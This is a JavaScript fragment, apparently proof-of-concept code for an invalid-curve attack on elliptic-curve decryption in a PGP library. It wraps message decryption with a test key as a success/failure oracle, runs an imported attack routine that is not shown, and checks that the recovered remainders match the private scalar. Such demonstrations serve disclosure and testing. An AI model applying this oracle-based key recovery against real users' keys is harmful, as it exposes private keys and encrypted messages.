}
async function demonstrate(oracle){
const privkey = (await key.readArmored(EC_PRIVKEY)).keys[0];
privkey.decrypt('test')
const remainders = await attack(oracle);
// verify result
for(let [mod, rem] of Object.entries(remainders)){
let found = false;
for(let remainder of rem){
if(PRIV_D.mod(new BN(mod)).eq(new BN(remainder))){
found = true;
}
}
if(!found){
throw new Error('attack failed');
}
}
console.log('attack successful');
}
async function invalidCurveAttack(){
const privkey = (await key.readArmored(EC_PRIVKEY)).keys[0];
privkey.decrypt('test')
demonstrate(async (m) => {
m = await message.readArmored(m);
try{
const msg = await m.decrypt([privkey]);
const text = await streams.readToEnd(msg.getText());
return true;
}catch(ex){
return false;
}
});
}
export default {invalidCurveAttack};
--------------------------------------------------------------------------------